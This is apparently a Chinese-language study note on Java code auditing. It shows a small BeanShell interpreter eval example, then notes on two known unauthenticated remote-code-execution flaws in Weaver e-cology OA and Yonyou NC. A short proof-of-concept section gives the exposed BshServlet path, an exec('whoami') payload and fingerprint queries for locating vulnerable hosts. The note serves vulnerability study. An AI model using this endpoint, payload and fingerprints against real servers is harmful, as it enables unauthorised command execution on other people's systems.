java代码审计入门-beanshell
beanshell
package cn.ecology;
//通过maven导包;去beanshell官网下载假如lib
import bsh.Interpreter;
/*Interpreter
*
*/
public class TestEval {
public static void main(String[] args) throws Exception{
Interpreter in = new Interpreter();
//Object 0 = interpreter.eval(str);
//eval返回值Object,可以通过eval()求文本表达式的值或者运行脚本https://blog.csdn.net/ouyang111222/article/details/48474189
//引入util;引入自己的function;执行Test累的getName()方法
in.eval("for(int i=0;i<3;i++) {System.out.println(\"hello\");}");
String s = "2>3||3>4&&5<4";
//set()方法传递对象的变量参数给BeanShell
in.set("boolean", in.eval("("+s+")"));
//通过get()方法去取得BeanShell中的变量
System.out.println(in.get("boolean"));
}
}
http://www.beanshell.org/manual/bshmanual.html#Executable_scripts_under_Unix
1.泛微OA E-cology(CNVD-2019-32204)未授权远程代码执行漏洞复现分析
漏洞原理
漏洞出现在e-cology的组件beanshell上,由于beanshell这个接口可被未授权访问,同时这个接口在接受用户请求时未进行相应过滤,最终导致远程命令执行
那beanshell是什么呢?
官网地址:https://github.com/beanshell/beanshell
简单说,就是一个微型的java解释器,可嵌入到其他程序中,用于动态的执行java代码,类似于csharp中的动态编译特性,我们通过一个例子来了解beanshell,如下图
tips
(额外说一句,其实这也给了我们一个思路,在挖beanshell的漏洞时,可以通过搜索这几个关键字,来快速定位可能存在漏洞的代码)
pocs
泛微OA BeanShell复现测试:http://url/weaver/bsh.servlet.BshServlet
/weaver/bsh.servlet.BshServlet
exec("whoami")
2. CNVD-2021-30167:用友NC BeanShell RCE复现
指纹
title=="YONYOU NC" && country="SG"
icon_hash="1085941792"
待研究
我不相信黑夜将至 因为火把就在我的手中。